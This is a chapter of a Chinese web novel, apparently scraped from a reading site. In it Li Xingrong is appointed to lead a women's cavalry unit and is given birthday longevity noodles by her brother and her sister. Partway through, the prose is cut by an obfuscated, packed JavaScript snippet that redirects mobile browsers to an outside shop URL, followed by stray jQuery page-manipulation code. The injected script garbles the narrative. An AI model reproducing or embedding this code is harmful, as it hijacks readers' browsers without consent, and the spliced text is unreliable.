二人缓缓起身,李乘凌松开拢握住的李星容的手。


    李星容看着他将其母的灵牌重新翻转过来,心中着实不解,“有何事要求?”


    什么事不能直说,还要将他的母亲背转过去?


    李乘凌看向她,但笑不语。


    李星容在他饱含笑意的目光中,愈加迷惑,偏了偏头。


    李乘凌眉梢眼角笑意更深,摇摇头道:“秘密。”


    “……”李星容不再追问。沉默之际,李乘凌注意到她手中微末的香灰,随即掏出手帕,托起她的手,悉心擦拭起来。


    李星容看着他的动作,心念一转,忽地提起方才他说出口了的那个请求。


    “兄长方才说的话,是总算同意我从军了?”


    李乘凌嘴角的笑凝了凝,知道李星容在打趣自己。


    “我如何能左右你。既然你意已决,又是好不容易才走到这一步,做哥哥的,再行阻拦就不识相了。”


    李乘凌说着,换了她另一只手来擦拭,“我不信神佛庇佑,更信我自己。但如果是对你,各路神鬼但凡能求的,都求上一遍也不嫌多。”


    直擦拭到本就白净的手再不见半点香灰,李乘凌才松开李星容,掸也不掸便叠起手帕,塞回怀中。


    “我知道你无需他人庇护,但还是希望在我看不见的地方,娘亲能替我保佑好你。”


    -


    刚送走齐相,皇帝身边的大太监就亲临了侯府——李家二子为国捐躯,皇帝亦亲自下诏抚恤。随之一同下达的,还有任命李星容组建女骑营的诏令。


    李氏女星容忠勇护国,武德昭彰,以闺中之质,行英豪之事。着令其任女骑营统领,总领招募、操练等一切事宜,特授五品飞骑校尉,享同等俸禄。


    在侯府众人的见证之下,李星容起身,接过旨意。


    从公主伴读,到皇后卤簿,从禁军教头,再到如今的飞骑校尉,数月前的李星容不曾想过,她真能一步一步走向初衷。


    虽则前路漫漫,迷雾中不知潜伏着多少敌我,可她总算能握紧手中的弓刀,一任战马驰骋。


    一双双眼睛皆望着她。李星容不由得转过头,看向身后的李乘凌。


    那个曾经极力阻止她的人,如今也在由衷地为她高兴。


    -


    女骑营初初启动,一切尚在蓓蕾。在李乘凌协助敦促之下,兵部速将女骑招募启事颁发至京畿各地,即刻掀起轩然大波。


    女子竟也能纠集出一支队伍吗?


    女子也能统领好骑兵?


    仪仗和打仗能一样吗。


    布告栏前围满了人,哪怕一字不识的老妪也请人句句念来,想看看会是谁第一个响应。


    也有不少青壮女子看得布告,摇着头说说笑笑着回到家中,继续照顾孩子,完成琐碎的杂务活计。


    几日下来,除了几名家世优渥无需忧心生计的世家女,响应者寥寥。


    女骑营在大庸未有先例,兵部只批了三十六员额作为试水。李星容本觉得太过苛刻,不承想将近一旬过去,竟连半数都凑不齐,且不论质量如何。


    若是轻而易举,也不会是一条新路了。李星容并未沮丧,开始作它想。


    组建女骑营,李星容第一个想到的人本是沈知宁。只是如今她在皇后身边,不知若自己贸然“讨要”,皇后愿不愿放人。


    事到如今李星容也不再犹豫了,决定在觐见皇后之前,先亲耳听听沈知宁的意愿。


    不想拜帖刚呈过去,沈知宁就亲自找上了门。


    “我还道你忘了我。”沈知宁刚与李星容碰上面,便将一册名录递交至她手中。


    李星容翻开来看,五六个熟悉的姓名赫然在目,年龄、出身、籍贯,悉数详列其中。


    是亲蚕礼中一同作为女骑卤簿的宫女。


    李星容一个一个看过去,数月前为了亲蚕仪式而一同操演的记忆,也随着这一页页名册在眼前闪过。


    “皇后赐了她们自由身。从今往后,她们就和我一同拜入你麾下了。”沈知宁看着李星容,郑重道,“李统领。”


    -


    忙碌之中进入了九月,女骑营也艰难地凑到了三十人。李星容忙着筹备正式操练,不察再过几日就到了她的生辰——准确地说,是李家真正小姐的生辰。


    李星容诞生之日,亦是李夫人辞世之日,过去的十七年中李星容从未为这一天庆祝,哪怕李侯与李乘凌怜惜她想办个简简单单不声张的生辰宴,也会被李星容严肃拒绝。


    然而这一次,是李盈竹回府后的第一个生辰,靖安侯自作主张,一定要为她姐妹二人办一个热热闹闹的生辰宴。


    斯人已逝,定不愿看着自己的孩子一生都守着禁忌、年年都亏待自己。


    李星容没理由再拒绝,那是李盈竹该有的。


    再有三日便是生辰宴,李星容为了在那天抽出空,这几日都安排得满满当当。回到府中时,暮色都快要转为暗沉的黑。


    李乘凌的小厮仿佛在门口等候多时,一见李星容的身影,就有一人跑着去了后院,另一人则引着李星容慢悠悠往里走。


    李星容一头雾水,不知李乘凌葫芦里卖什么药。左右今日已无事,李星容并未打破,索性慢吞吞跟着他去了。


    一路走到了小厨房,小厮笑嘻嘻地退下。李星容听着里面汤水烧得咕噜咕噜的声音,推开了门。


    李乘凌高大的身影正立于灶前忙碌,两袖高高挽起,热气蒸腾着飘至他额间发梢。为了迁就低矮的灶台,大将军整个背脊都往下扣了,看起来真是辛苦。


    李乘凌听见动静抬起头来,见到李星容,顿时展出一个无比明媚的笑。随后他抬起臂,浇下最后一勺热滚滚的汤汁,淋在了面前的大碗中。


    温暖的香气瞬间飘向李星容面门。李星容微微耸动着鼻尖,走到了李乘凌跟前。


    李乘凌将汤碗往她面前一推,笑吟吟道:“五彩长寿面!尝尝看,哥哥花了好些心思呢。”


    李星容微微一怔,“长寿面?”


    李乘凌坚定地点点头,“嗯,还是五色的喔。以前在边疆不方便,这回终于可以做给你吃了,看看好不好吃。”


    生辰不是在三日后吗?


    李星容正待追问,忽然想起自己的真实身份。


    真正的“岳萤烛”,是在“李星容”三日前出生的。也就是说,今日才是她真正的生辰。


    李乘凌端详着她的神色,明白她可能想歪了什么,当即将筷子塞进她手中,又将自己的手掌包裹在外,带着她夹起了第一根长寿面。


    “今日有,三日后也有。”李乘凌三言两语打消了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947806|190354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    李星容隐晦的心思,“快尝尝,不要咬断。”


    李星容眨了眨眼,顺从地将一整根长寿面完完整整塞进了嘴中。


    口感很筋道,咀嚼中两颊微微鼓起,香味盈满鼻尖。


    “好吃。”李星容抽空赞扬,又去夹下一根。


    感受到李星容握筷的手微微挣动,李乘凌便松开了手,只是视线仍旧放在她脸上,不曾挪开。


    “好吃就好。”李乘凌漫不经心回答着。


    看着李星容垂头安静咀嚼的模样,还是忍不住伸出指尖,点了点她圆圆鼓起的脸颊。


    李星容动作一顿,抬眼看他。


    “芒芒。”李乘凌一错不错凝望着李星容,全然没有打扰到别人吃东西的自觉,“岁岁朝朝,喜乐安康。”


    他的神色宁静认真,李星容不自觉被他感染。吞下这一口,也认真地点了点头。


    吃到一半,李星容突然想到什么,放下筷子,严肃道:“盈竹有吗?”


    李乘凌说今日有,三日后也有,那岂不是李星容的生辰李盈竹的生辰都算在了她头上。


    李乘凌闻言,眉尾微微挑起,“你希望她有吗?”


    李星容自然点头。


    李乘凌笑了笑,“如你所愿。”


    李星容这才重新拿起筷子。


    “你这么慷慨,可有些事,是做不到那么公平的。”


    李乘凌的声音很轻,轻到李星容需要停下咀嚼,问他说了什么。


    “没什么。”李乘凌摇摇头,笑意不变。


    -


    李星容吃下一碗面回到院中,天色已经彻底暗了。卓玉上前迎她,说她可算回来了。


    “怎么了?”李星容神色严肃了几分,以为是军中之事。


    “小姐进来看看就知道了。”卓玉说着,引李星容回了房中。


    这些时日卓云卓玉跟随她出入军营,李星容也有意放她们自由身,如那些宫女一般参与招募。她相信以她们的身手,留下不是问题。


    可卓云卓玉拒绝了,仍以李星容亲侍的身份追随,说如此既能省下两个女骑名额,又能跟在李星容身边建功立业,比普通兵士还更有威势些。


    她们如此坚持,李星容也不强求。


    卓云正在房中忙活,看见李星容进来,没头没尾地道:“小姐回来了?面都坨了。”


    “面?”


    “是啊,长寿面。”卓玉说着,掀开了桌案上的食盒。


    汤面还散发着微微的热气,但已有些坨在了一处。


    李星容看得愣了,“……这是?”


    卓玉道:“小姐您忘了?今日是您另一个生辰。”


    卓云在一旁补充:“盈竹小姐特意送来的长寿面。”


    “她说:要么不吃,要么别咬断。”卓玉效仿着李盈竹的语气道。


    李星容的视线再次落在那碗面上。


    不同于李乘凌亲手做的五彩长寿面,这碗面看着普普通通,油光浮在汤面,点缀着翠绿的葱花,好像没有什么特别之处。


    李星容胸中忽地升腾起难言的情绪,久久说不出话。


    “怎么了小姐?坨成这样,要不别吃了?”


    “无妨。”李星容摇摇头,从食盒中端起了依旧温热的面碗。


    两碗面而已,吃得下。